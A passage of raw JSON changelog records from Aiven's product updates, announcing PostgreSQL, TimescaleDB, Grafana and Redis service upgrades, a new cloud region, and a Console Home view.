details."}],"markDefs":[{"_key":"m13606856703213","_type":"link","href":"https://grafana.com/docs/grafana/latest/whatsnew/whats-new-in-v8-1/"}],"style":"normal"}],"publishedAt":"2021-09-20T00:00:00.000Z","tags":[{"_key":"06643210-afca-44e4-ab89-dff398121a0d","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"service"}],"title":"Updated Grafana to version 8.1.2"} {"_createdAt":"2022-10-27T09:11:46Z","_i18n_lang":"en","_id":"d8ea856a-c705-429f-bbd8-45b720430450","_rev":"zF7BMhNhvYpWtPMfHNOIoY","_type":"changelog","_updatedAt":"2022-10-27T09:11:46Z","changeType":"","description":[{"_key":"fb173cb4-4089-4739-92d5-976f0a94a539","_type":"block","children":[{"_key":"3344b57f-d655-49a7-871a-f7c26601e9ea","_type":"span","marks":[],"text":"All Aiven services are now available within the region."}],"markDefs":[],"style":"normal"}],"publishedAt":"2017-05-19T00:00:00.000Z","tags":[{"_key":"93d3f275-a3f1-4089-922c-fc729befd8ff","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"hostProvider"}],"title":"Added support for Google Cloud Platform (GCP) us-east4 US Virginia region"} {"__i18n_lang":"en","_createdAt":"2023-05-22T11:55:51Z","_id":"db290dd0-d507-40cc-a67f-80d1fa4de3c4","_rev":"Sutmd0597BicUlBXYKY71G","_type":"changelog","_updatedAt":"2023-05-22T11:57:51Z","changeType":"improved","description":[{"_key":"1e8181d4ca7e","_type":"block","children":[{"_key":"5a664e31125d0","_type":"span","marks":[],"text":"Aiven for PostgreSQL® has been upgraded to latest minor versions 15.3, 14.8, 13.11, 12.15, and 11.20, which contain a variety of fixes to previous versions. Removing bugs and security vulnerabilities increases database performance, improves service availability, and helps ensure business continuity."}],"markDefs":[],"style":"normal"},{"_key":"93a950f058fa","_type":"block","children":[{"_key":"695799da3b900","_type":"span","marks":[],"text":"See "},{"_key":"695799da3b901","_type":"span","marks":["480127bfa03c"],"text":"PostgreSQL release notes"},{"_key":"695799da3b902","_type":"span","marks":[],"text":" for more details about the PostgreSQL® minor releases."}],"markDefs":[{"_key":"480127bfa03c","_type":"link","href":"https://www.postgresql.org/docs/release/"}],"style":"normal"}],"publishedAt":"2023-05-22T11:55:00.000Z","tags":[{"_key":"fe4f7839bd79","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL® upgraded to 15.3, 14.8, 13.11, 12.15, and 11.20"} {"_createdAt":"2022-10-27T09:05:27Z","_i18n_lang":"en","_id":"db783587-5c00-46ef-9bc6-50739462cb38","_rev":"zF7BMhNhvYpWtPMfHNNDWw","_type":"changelog","_updatedAt":"2022-10-27T09:05:27Z","changeType":"","publishedAt":"2020-12-21T00:00:00.000Z","tags":[{"_key":"9af74551-b403-469a-af50-1c8781fd0ed9","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL extension PostGIS has been updated to versions 3.0.2 / 2.5.5 / 2.4.9, pgRouting has been upgraded to version 3.1.0"} {"__i18n_lang":"en","_createdAt":"2024-05-31T09:37:19Z","_id":"da99b3cf-ce7f-476c-b052-bfdd254d2050","_rev":"YAcMhSAbyjrWoYhD74OZG3","_type":"changelog","_updatedAt":"2024-07-22T11:51:51Z","changeType":"improved","description":[{"_key":"dd28e31a8da4","_type":"block","children":[{"_key":"a9bd20920cf50","_type":"span","marks":[],"text":"TimescaleDB extension version 2.15.2 is now available for Aiven for PostgreSQL®. It introduces new features, performance improvements, and bug fixes on top of release 2.14.2. Upgrade to 2.15.2 at your earliest convenience to make sure you use the most robust and secure version available."}],"markDefs":[],"style":"normal"},{"_key":"f9e3282a6f5a","_type":"block","children":[{"_key":"ac2ec141b50e0","_type":"span","marks":[],"text":"Refer to the "},{"_key":"ac2ec141b50e1","_type":"span","marks":["5222cde5a7cf"],"text":"TimescaleDB release notes for 2.15.2"},{"_key":"ac2ec141b50e2","_type":"span","marks":[],"text":" to check all the changes introduced in this release, including deprecation announcements and operational instructions."}],"markDefs":[{"_key":"5222cde5a7cf","_type":"link","href":"https://github.com/timescale/timescaledb/releases/tag/2.15.2"}],"style":"normal"},{"_key":"0e11f26f51f8","_type":"block","children":[{"_key":"ad28be9aba670","_type":"span","marks":["strong"],"text":"Key new features"}],"markDefs":[],"style":"normal"},{"_key":"7e08f93076f7","_type":"block","children":[{"_key":"e11c8ea889c10","_type":"span","marks":["a3a79a0d7d8e"],"text":"Continuous Aggregate"},{"_key":"e11c8ea889c11","_type":"span","marks":[],"text":" now supports time_bucket with origin and/or offset."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"a3a79a0d7d8e","_type":"link","href":"https://docs.timescale.com/api/latest/continuous-aggregates/create_materialized_view/#sample-usage"}],"style":"normal"},{"_key":"14baa7bffe2d","_type":"block","children":[{"_key":"c43b7ab101a70","_type":"span","marks":[],"text":"For "},{"_key":"c43b7ab101a71","_type":"span","marks":["3fc2a8065219"],"text":"hypertable compression"},{"_key":"c43b7ab101a72","_type":"span","marks":[],"text":":"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"3fc2a8065219","_type":"link","href":"https://docs.timescale.com/api/latest/compression"}],"style":"normal"},{"_key":"56605a91be07","_type":"block","children":[{"_key":"f931c35379590","_type":"span","marks":[],"text":"Recommend optimized defaults for segment by and order by when configuring compression through analysis of table configuration and statistics."}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d138fbed5ae8","_type":"block","children":[{"_key":"3b4c7ad4343b0","_type":"span","marks":[],"text":"Add planner support to check more kinds of WHERE conditions before decompression.\nThis reduces the number of rows that have to be decompressed."}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"aba60e677ecd","_type":"block","children":[{"_key":"8675d504a3770","_type":"span","marks":[],"text":"You can now use minmax sparse indexes when you compress columns with btree indexes."}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"37123a7f58b9","_type":"block","children":[{"_key":"50bbfc49a7bf0","_type":"span","marks":[],"text":"Vectorize filters in the WHERE clause that contain text equality operators and LIKE expressions."}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d63af1fd060b","_type":"block","children":[{"_key":"0b6559abf55c0","_type":"span","marks":["strong"],"text":"More new features"}],"markDefs":[],"style":"normal"},{"_key":"574768a5f5bb","_type":"block","children":[{"_key":"d84dc5d08e410","_type":"span","marks":["fef34580cf7f"],"text":"#6382"},{"_key":"d84dc5d08e411","_type":"span","marks":[],"text":" Support for time_bucket with origin and offset in CAggs"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"fef34580cf7f","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6382"}],"style":"normal"},{"_key":"375bf1f9f73d","_type":"block","children":[{"_key":"1d78fbd854840","_type":"span","marks":["05d9817c761d"],"text":"#6696"},{"_key":"1d78fbd854841","_type":"span","marks":[],"text":" Improve the defaults for compression segment_by and order_by"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"05d9817c761d","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6696"}],"style":"normal"},{"_key":"b9a6223d39b4","_type":"block","children":[{"_key":"c6b8b9c733ce0","_type":"span","marks":["e5839092b03b"],"text":"#6705"},{"_key":"c6b8b9c733ce1","_type":"span","marks":[],"text":" Add sparse minmax indexes for compressed columns that have uncompressed btree indexes"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"e5839092b03b","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6705"}],"style":"normal"},{"_key":"e7aafc264d7a","_type":"block","children":[{"_key":"31f5d0ff0fae0","_type":"span","marks":["f938407a6998"],"text":"#6754"},{"_key":"31f5d0ff0fae1","_type":"span","marks":[],"text":" Allow DROP CONSTRAINT on compressed hypertables"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"f938407a6998","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6754"}],"style":"normal"},{"_key":"1856e72b099b","_type":"block","children":[{"_key":"05ad924ab2750","_type":"span","marks":["5f6bea32b4d6"],"text":"#6767"},{"_key":"05ad924ab2751","_type":"span","marks":[],"text":" Add metadata table _timestaledb_internal.bgw_job_stat_history for tracking job execution history"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"5f6bea32b4d6","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6767"}],"style":"normal"},{"_key":"0ac4eede7960","_type":"block","children":[{"_key":"9dd7fc206b320","_type":"span","marks":["21b0b6fa58fd"],"text":"#6798"},{"_key":"9dd7fc206b321","_type":"span","marks":[],"text":" Prevent the usage of the deprecated time_bucket_ng in the CAgg definition"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"21b0b6fa58fd","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6798"}],"style":"normal"},{"_key":"2fc2f93f7751","_type":"block","children":[{"_key":"f326e0755ef00","_type":"span","marks":["60228a5fb82c"],"text":"#6810"},{"_key":"f326e0755ef01","_type":"span","marks":[],"text":" Add telemetry for access methods"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"60228a5fb82c","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6810"}],"style":"normal"},{"_key":"74246181705a","_type":"block","children":[{"_key":"d8e8cf7a20690","_type":"span","marks":["e73a5c740383"],"text":"#6811"},{"_key":"d8e8cf7a20691","_type":"span","marks":[],"text":" Remove the no longer relevant timescaledb.allow_install_without_preload GUC"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"e73a5c740383","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6811"}],"style":"normal"},{"_key":"115eb033dadf","_type":"block","children":[{"_key":"78c435e133130","_type":"span","marks":["90287f84617d"],"text":"#6837"},{"_key":"78c435e133131","_type":"span","marks":[],"text":" Add migration path for CAggs using time_bucket_ng"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"90287f84617d","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6837"}],"style":"normal"},{"_key":"7a52d8dc6b86","_type":"block","children":[{"_key":"1470f96c7e120","_type":"span","marks":["ce692c8670cf"],"text":"#6865"},{"_key":"1470f96c7e121","_type":"span","marks":[],"text":" Update the watermark when truncating a CAgg"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"ce692c8670cf","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6865"}],"style":"normal"},{"_key":"c35c66fd5b49","_type":"block","children":[{"_key":"87348454dce00","_type":"span","marks":["strong"],"text":"Deprecation announcements"}],"markDefs":[],"style":"normal"},{"_key":"bfb0b742d5c7","_type":"block","children":[{"_key":"d26d946353540","_type":"span","marks":[],"text":"You can no longer create continuous aggregates using time_bucket_ng. This feature will be completely removed in the next release. The best practice is to "},{"_key":"d26d946353541","_type":"span","marks":["ff6c5131b1c3"],"text":"migrate your current continuous aggregates to the new form"},{"_key":"d26d946353542","_type":"span","marks":[],"text":"."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"ff6c5131b1c3","_type":"link","href":"https://docs.timescale.com/use-timescale/latest/continuous-aggregates/migrate/"}],"style":"normal"},{"_key":"e53889d087cf","_type":"block","children":[{"_key":"d56d0adaf9f00","_type":"span","marks":[],"text":"This is the last release supporting "},{"_key":"d56d0adaf9f01","_type":"span","marks":["6b3d2a84ef8d"],"text":"PostgreSQL 13"},{"_key":"d56d0adaf9f02","_type":"span","marks":[],"text":"."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"6b3d2a84ef8d","_type":"link","href":"https://www.postgresql.org/docs/13/index.html"}],"style":"normal"},{"_key":"0facd3389c86","_type":"block","children":[{"_key":"d800ebe04ba70","_type":"span","marks":["strong"],"text":"Bug fixes"}],"markDefs":[],"style":"normal"},{"_key":"c360f4dd6427","_type":"block","children":[{"_key":"90918c47a3f50","_type":"span","marks":["808008a0c14b"],"text":"#6975"},{"_key":"90918c47a3f51","_type":"span","marks":[],"text":" Fix sort pushdown for partially compressed chunks."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"808008a0c14b","_type":"link","href":"https://github.com/timescale/timescaledb/issues/6975"}],"style":"normal"},{"_key":"266915090f9c","_type":"block","children":[{"_key":"5ec987d110610","_type":"span","marks":["5b6f61c7cc55"],"text":"#6976"},{"_key":"5ec987d110611","_type":"span","marks":[],"text":" Fix removal of metadata function and update script."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"5b6f61c7cc55","_type":"link","href":"https://github.com/timescale/timescaledb/issues/6976"}],"style":"normal"},{"_key":"d3c20da63250","_type":"block","children":[{"_key":"6a6cde1e8ec20","_type":"span","marks":["278cb63053fa"],"text":"#6978"},{"_key":"6a6cde1e8ec21","_type":"span","marks":[],"text":" Fix segfault in compress_chunk with a primary space partition."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"278cb63053fa","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6978"}],"style":"normal"},{"_key":"febc5a58d122","_type":"block","children":[{"_key":"329f21415d240","_type":"span","marks":["84389eb4b9a3"],"text":"#6993"},{"_key":"329f21415d241","_type":"span","marks":[],"text":" Disallow hash partitioning on primary column."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"84389eb4b9a3","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6993"}],"style":"normal"},{"_key":"90fa208f0c4b","_type":"block","children":[{"_key":"b649f8bf9bfd0","_type":"span","marks":["30beb6801221"],"text":"#6617"},{"_key":"b649f8bf9bfd1","_type":"span","marks":[],"text":" Fix error in show_chunks"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"30beb6801221","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6617"}],"style":"normal"},{"_key":"b4de1a03a0f6","_type":"block","children":[{"_key":"9a5e5e53d7370","_type":"span","marks":["25671234106f"],"text":"#6621"},{"_key":"9a5e5e53d7371","_type":"span","marks":[],"text":" Remove metadata when dropping chunks"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"25671234106f","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6621"}],"style":"normal"},{"_key":"b3bc491bca74","_type":"block","children":[{"_key":"412b5051f31d0","_type":"span","marks":["f7b5b3f90f22"],"text":"#6677"},{"_key":"412b5051f31d1","_type":"span","marks":[],"text":" Fix snapshot usage in CAgg invalidation scanner"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"f7b5b3f90f22","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6677"}],"style":"normal"},{"_key":"9576ead1a583","_type":"block","children":[{"_key":"a7fb91cf6a6b0","_type":"span","marks":["f4a1e7df76eb"],"text":"#6698"},{"_key":"a7fb91cf6a6b1","_type":"span","marks":[],"text":" Define meaning of 0 retries for jobs as no retries"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"f4a1e7df76eb","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6698"}],"style":"normal"},{"_key":"41abc4fbee30","_type":"block","children":[{"_key":"e2305c4ab97a0","_type":"span","marks":["137be45dd6b4"],"text":"#6717"},{"_key":"e2305c4ab97a1","_type":"span","marks":[],"text":" Fix handling of compressed tables with primary or unique index in COPY path"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"137be45dd6b4","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6717"}],"style":"normal"},{"_key":"4025ed5c77f5","_type":"block","children":[{"_key":"4d068213d07e0","_type":"span","marks":["b0c0a8f3064f"],"text":"#6726"},{"_key":"4d068213d07e1","_type":"span","marks":[],"text":" Fix constify cagg_watermark using window function when querying a CAgg"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"b0c0a8f3064f","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6726"}],"style":"normal"},{"_key":"d36c5987b43b","_type":"block","children":[{"_key":"86a91fd3c7130","_type":"span","marks":["d2ade28f949e"],"text":"#6729"},{"_key":"86a91fd3c7131","_type":"span","marks":[],"text":" Fix NULL start value handling in CAgg refresh"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"d2ade28f949e","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6729"}],"style":"normal"},{"_key":"bef5fb3a763d","_type":"block","children":[{"_key":"d8871f4ab7710","_type":"span","marks":["8dd985d0a4f7"],"text":"#6732"},{"_key":"d8871f4ab7711","_type":"span","marks":[],"text":" Fix CAgg migration with custom timezone / date format settings"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"8dd985d0a4f7","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6732"}],"style":"normal"},{"_key":"e1c4e1a1cc0d","_type":"block","children":[{"_key":"67fdce252c010","_type":"span","marks":["77682c9e2bd5"],"text":"#6752"},{"_key":"67fdce252c011","_type":"span","marks":[],"text":" Remove custom autovacuum setting from compressed chunks"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"77682c9e2bd5","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6752"}],"style":"normal"},{"_key":"4a30056548e3","_type":"block","children":[{"_key":"515b049c5ed90","_type":"span","marks":["0ac890ae188c"],"text":"#6770"},{"_key":"515b049c5ed91","_type":"span","marks":[],"text":" Fix plantime chunk exclusion for OSM chunk"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"0ac890ae188c","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6770"}],"style":"normal"},{"_key":"16fb6faf4ab0","_type":"block","children":[{"_key":"e5f29054d2890","_type":"span","marks":["ccd5705d5910"],"text":"#6789"},{"_key":"e5f29054d2891","_type":"span","marks":[],"text":" Fix deletes with subqueries and compression"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"ccd5705d5910","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6789"}],"style":"normal"},{"_key":"4ecee451cfe9","_type":"block","children":[{"_key":"b829d41a623d0","_type":"span","marks":["c5173f5a0358"],"text":"#6796"},{"_key":"b829d41a623d1","_type":"span","marks":[],"text":" Fix a crash involving a view on a hypertable"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"c5173f5a0358","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6796"}],"style":"normal"},{"_key":"fdd9f12c7b24","_type":"block","children":[{"_key":"ecaf562866620","_type":"span","marks":["897ab411198f"],"text":"#6797"},{"_key":"ecaf562866621","_type":"span","marks":[],"text":" Fix foreign key constraint handling on compressed hypertables"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"897ab411198f","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6797"}],"style":"normal"},{"_key":"f7977ce2f158","_type":"block","children":[{"_key":"b5484ff011e50","_type":"span","marks":["24654e100042"],"text":"#6816"},{"_key":"b5484ff011e51","_type":"span","marks":[],"text":" Fix handling of chunks with no constraints"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"24654e100042","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6816"}],"style":"normal"},{"_key":"f77104bb0507","_type":"block","children":[{"_key":"948c58c6662f0","_type":"span","marks":["fccf59c23167"],"text":"#6820"},{"_key":"948c58c6662f1","_type":"span","marks":[],"text":" Fix a crash when the ts_hypertable_insert_blocker was called directly"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"fccf59c23167","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6820"}],"style":"normal"},{"_key":"9bd38c0bee23","_type":"block","children":[{"_key":"459c44f8512b0","_type":"span","marks":["548c068c3280"],"text":"#6849"},{"_key":"459c44f8512b1","_type":"span","marks":[],"text":" Use non-orderby compressed metadata in compressed DML"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"548c068c3280","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6849"}],"style":"normal"},{"_key":"961016afa71b","_type":"block","children":[{"_key":"d84fbb2a8c830","_type":"span","marks":["74aa6f42bd55"],"text":"#6867"},{"_key":"d84fbb2a8c831","_type":"span","marks":[],"text":" Clean up compression settings when deleting compressed CAgg"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"74aa6f42bd55","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6867"}],"style":"normal"},{"_key":"32e3127c5599","_type":"block","children":[{"_key":"2c3e82c057090","_type":"span","marks":["9b35bfecf78c"],"text":"#6869"},{"_key":"2c3e82c057091","_type":"span","marks":[],"text":" Fix compressed DML with constraints of form value OP column"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"9b35bfecf78c","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6869"}],"style":"normal"},{"_key":"6945c4bfd77e","_type":"block","children":[{"_key":"30b6b8a152ce0","_type":"span","marks":["b58ad62cc20d"],"text":"#6870"},{"_key":"30b6b8a152ce1","_type":"span","marks":[],"text":" Fix bool expression pushdown for queries on compressed chunks"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"b58ad62cc20d","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6870"}],"style":"normal"}],"publishedAt":"2024-07-18T11:51:00.000Z","tags":[{"_key":"21df9819fd08","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"TimescaleDB extension 2.15.2 for Aiven for PostgreSQL® released"} {"__i18n_lang":"en","_createdAt":"2022-11-23T13:15:51Z","_id":"dbaa8829-c4d4-41a7-8e97-0ab4b1275201","_rev":"6wJ6OxF1mPB2I3zefuhcQh","_type":"changelog","_updatedAt":"2023-01-26T11:29:16Z","changeType":"improved","description":[{"_key":"0782a3cc8514","_type":"block","children":[{"_key":"331ee80d348c0","_type":"span","marks":[],"text":"Aiven for PostgreSQL has been updated to latest minor versions 14.6, 13.9, 12.13, and 11.18, which contain a variety of fixes to previous versions. Removing bugs and security vulnerabilities increases database performance, improves service availability, and helps ensure business continuity. See the "},{"_key":"ce82f8471d58","_type":"span","marks":["7d67a7237214"],"text":"release notes"},{"_key":"a81cf953b854","_type":"span","marks":[],"text":" for more details on the PostgreSQL® minor releases."}],"markDefs":[{"_key":"7d67a7237214","_type":"link","href":"https://www.postgresql.org/docs/release\\"}],"style":"normal"}],"publishedAt":"2022-11-23T13:16:00.000Z","tags":[{"_key":"73a9edd81783","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL has been updated to 14.6, 13.9, 12.13, and 11.18."} {"__i18n_lang":"en","_createdAt":"2023-03-07T12:30:47Z","_id":"dbae871e-d008-4040-9772-b7dde320530b","_rev":"4ZwkE7ZWLvIZmMdLCy4YZ4","_type":"changelog","_updatedAt":"2023-03-09T11:24:44Z","changeType":"new","description":[{"_key":"52f69ce74ae2","_type":"block","children":[{"_key":"6ba7633b34370","_type":"span","marks":[],"text":"The new "},{"_key":"6ba7633b34371","_type":"span","marks":["strong"],"text":"Home"},{"_key":"6ba7633b34372","_type":"span","marks":[],"text":" view in Aiven Console is now available to all organizations on Aiven. Navigate to "},{"_key":"6ba7633b34373","_type":"span","marks":["strong"],"text":"Home"},{"_key":"6ba7633b34374","_type":"span","marks":[],"text":" if you need the following:"}],"markDefs":[],"style":"normal"},{"_key":"eef6f32ec521","_type":"block","children":[{"_key":"b07f9086989e0","_type":"span","marks":[],"text":"Quick access to recent projects"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"6c645d1c2c65","_type":"block","children":[{"_key":"dc22bebb674b0","_type":"span","marks":[],"text":"Project health insights with service-level details"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"b26072294ae5","_type":"block","children":[{"_key":"41137d2a0da40","_type":"span","marks":[],"text":"Platform status updates"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"7db4de4c750c","_type":"block","children":[{"_key":"d9f3511d64490","_type":"span","marks":[],"text":"Product updates for the Aiven platform"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"660db6971a21","_type":"block","children":[{"_key":"4d5535ef31ee0","_type":"span","marks":[],"text":"To explore the "},{"_key":"4d5535ef31ee1","_type":"span","marks":["strong"],"text":"Home "},{"_key":"4d5535ef31ee2","_type":"span","marks":[],"text":"view, select "},{"_key":"4d5535ef31ee3","_type":"span","marks":["strong"],"text":"Home"},{"_key":"4d5535ef31ee4","_type":"span","marks":[],"text":" from the top-level navigation in Aiven Console. If you still don’t have an organization on Aiven, create one to be able to check out this new feature."}],"markDefs":[],"style":"normal"}],"publishedAt":"2023-03-09T11:30:00.000Z","tags":[{"_key":"ae3b5905d03a","_ref":"9096ab2c-f4cd-421e-aa1a-b10d462d6011","_type":"tool"}],"title":"Introducing the new Home view in Aiven Console"} {"__i18n_lang":"en","_createdAt":"2023-01-25T14:57:41Z","_id":"dcd92590-8911-42da-be70-4252fe68a5bb","_rev":"pnOvEyahjeT2Gte9fUMmHD","_type":"changelog","_updatedAt":"2023-01-25T14:57:41Z","changeType":"improved","description":[{"_key":"f97688eca813","_type":"block","children":[{"_key":"ee19eeebb1ce0","_type":"span","marks":[],"text":"Aiven for Redis® services now includes the ability for users to reset their default password via the "},{"_key":"ee19eeebb1ce1","_type":"span","marks":["50ca3ed2b0d0"],"text":"API"},{"_key":"ee19eeebb1ce2","_type":"span","marks":[],"text":". This is a crucial security measure that ensures the protection of user data in case of a suspected password compromise. For more information, see "},{"_key":"ee19eeebb1ce3","_type":"span","marks":["79921ed3e96f"],"text":"Aiven API documentation"},{"_key":"ee19eeebb1ce4","_type":"span","marks":[],"text":" and "},{"_key":"ee19eeebb1ce5","_type":"span","marks":["58f5a07ad358"],"text":"Aiven for Redis documentation"},{"_key":"ee19eeebb1ce6","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"50ca3ed2b0d0","_type":"link","href":"https://api.aiven.io/doc/#tag/Service/operation/ServiceUserCredentialsReset"},{"_key":"79921ed3e96f","_type":"link","href":"https://api.aiven.io/doc/#section/Introduction"},{"_key":"58f5a07ad358","_type":"link","href":"https://docs.aiven.io/docs/products/redis"}],"style":"normal"}],"publishedAt":"2023-01-11T14:56:00.000Z","tags":[{"_key":"dea66e7c581c","_ref":"f1fcd019-a608-4171-bc4b-2886adfa67a5","_type":"service"}],"title":"Reset default user password on Aiven for Redis® services"} {"_createdAt":"2022-10-27T09:06:47Z","_i18n_lang":"en","_id":"ddffb457-2f03-48c2-9cfe-561a64098f86","_rev":"Cf2WlCE8X5IGBBi7ld1HHq","_type":"changelog","_updatedAt":"2022-10-27T09:06:47Z","changeType":"","description":[{"_key":"195787de-4fe9-40fc-9ddc-ff8f3dae73ba","_type":"block","children":[{"_key":"440bea71-12e3-40eb-981c-9d63ccd9eaf2","_type":"span","marks":[],"text":"This fixes issue with PostgreSQL major version upgrade when using TimescaleDB extension."}],"markDefs":[],"style":"normal"}],"publishedAt":"2020-05-06T00:00:00.000Z","tags":[{"_key":"c7a4b8a2-2897-49de-9233-e3576579f1fc","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL's TimescaleDB extension has been updated to patched version 1.7.0"} {"__i18n_lang":"en","_createdAt":"2024-02-09T10:16:08Z","_id":"de3f48f9-15aa-48e9-8dce-f6817fe7b794","_rev":"wa1GVUTtyutp0WKCzQPXCr","_type":"changelog","_updatedAt":"2024-04-09T08:42:44Z","changeType":"improved","description":[{"_key":"684ffdfe8f04","_type":"block","children":[{"_key":"8f288129de05","_type":"span","marks":[],"text":"TimescaleDB extension version 2.14.2 is now available for Aiven for PostgreSQL®. It introduces new features, performance improvements, and bug fixes on top of release 2.13.1. Upgrade to 2.14.2 at your earliest convenience to make sure you use the most robust and secure version available."}],"markDefs":[],"style":"normal"},{"_key":"824f67365237","_type":"block","children":[{"_key":"2d70952cabd40","_type":"span","marks":[],"text":"Refer to the TimescaleDB release notes for "},{"_key":"2d70952cabd41","_type":"span","marks":["b87a5a7d8ff5"],"text":"2.14.0"},{"_key":"2d70952cabd42","_type":"span","marks":[],"text":", "},{"_key":"2d70952cabd43","_type":"span","marks":["0ba08dd584fb"],"text":"2.14.1"},{"_key":"2d70952cabd44","_type":"span","marks":[],"text":", and "},{"_key":"2d70952cabd45","_type":"span","marks":["ddf269da237e"],"text":"2.14.2"},{"_key":"2d70952cabd46","_type":"span","marks":[],"text":" to check all the changes introduced in these releases, including deprecation announcements and operational instructions."}],"markDefs":[{"_key":"b87a5a7d8ff5","_type":"link","href":"https://github.com/timescale/timescaledb/releases/tag/2.14.0"},{"_key":"0ba08dd584fb","_type":"link","href":"https://github.com/timescale/timescaledb/releases/tag/2.14.1"},{"_key":"ddf269da237e","_type":"link","href":"https://github.com/timescale/timescaledb/releases/tag/2.14.2"}],"style":"normal"},{"_key":"fe8f1ad4b416","_type":"block","children":[{"_key":"d4bdd9c9ff8f0","_type":"span","marks":["strong"],"text":"Key new features"}],"markDefs":[],"style":"normal"},{"_key":"ccb06d52ee21","_type":"block","children":[{"_key":"aa3e38b9ac630","_type":"span","marks":[],"text":"Ability to change compression settings on existing compressed hypertables at any time: New compression settings take effect on any new chunks that are compressed after the change."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"44a3d9e0a4c0","_type":"block","children":[{"_key":"d193a7d3a4250","_type":"span","marks":[],"text":"Reduced locking requirements during chunk recompression"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"7ec886b6479e","_type":"block","children":[{"_key":"32a3535fe7b60","_type":"span","marks":[],"text":"Limiting tuple decompression during DML operations to avoid decompressing a lot of tuples and causing storage issues (100k limit, configurable)"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"c33e09be0e61","_type":"block","children":[{"_key":"d6c21c2ac07a0","_type":"span","marks":[],"text":"Helper functions for determining compression settings"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"4f3e8441a281","_type":"block","children":[{"_key":"79cf88bed0400","_type":"span","marks":[],"text":"Plan-time chunk exclusion for real-time Continuous Aggregate by constify the cagg_watermark function 